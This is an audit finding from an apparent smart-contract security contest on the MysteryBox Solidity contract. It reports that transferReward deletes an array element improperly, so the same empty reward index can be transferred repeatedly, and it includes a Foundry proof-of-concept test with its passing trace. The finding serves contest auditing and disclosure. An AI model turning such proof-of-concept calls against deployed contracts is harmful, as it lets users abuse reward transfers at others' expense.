Submission Details
Severity:
`MysteryBox.sol::transferReward` wrong management of array `rewardsOwned`
Relevant GitHub Links
https://github.com/Cyfrin/2024-09-mystery-box/blob/main/src/MysteryBox.sol#L76
Summary
After calling the function `MysteryBox.sol::transferReward` the element of the index provided by the user is not properly deleted allowing the user to transfer it many times with default value
Vulnerability Details
delete rewardsOwned[msg.sender][_index];
Impact
POC:
function test_transferReward() public {
vm.deal(user1, 1 ether);
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Before Open:", mysteryBox.boxesOwned(user1));
mysteryBox.openBox();
mysteryBox.openBox();
mysteryBox.openBox();
mysteryBox.openBox();
mysteryBox.transferReward(user2, 2);
mysteryBox.transferReward(user2, 2);
}
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_transferReward() (gas: 219053)
Logs:
Reward Pool Length: 4
Before Open: 4
Traces:
[219053] MysteryBoxTest::test_transferReward()
├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [680] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [680] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [680] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [608] MysteryBox::boxesOwned(0x0000000000000000000000000000000000000001) [staticcall]
│ └─ ← [Return] 4
├─ [0] console::log("Before Open:", 4) [staticcall]
│ └─ ← [Stop]
├─ [48132] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [26232] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [26232] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [26232] MysteryBox::openBox()
│ └─ ← [Stop]
├─ [49057] MysteryBox::transferReward(0x0000000000000000000000000000000000000002, 2)
│ └─ ← [Stop]
├─ [7146] MysteryBox::transferReward(0x0000000000000000000000000000000000000002, 2)
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.49ms (293.13µs CPU time)
Ran 1 test suite in 9.25ms (1.49ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual review, Foundry
Recommendations
Use a proper method to delete elements from `rewardsOwned`
https://blog.solidityscan.com/improper-array-deletion-82672eed8e8d
Updates
Appeal created
inallhonesty 8 months ago
Submission Judgement Published Assigned finding tags:
A user can poison the `rewardsOwned` of another user via `transferReward` of an empty reward index
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.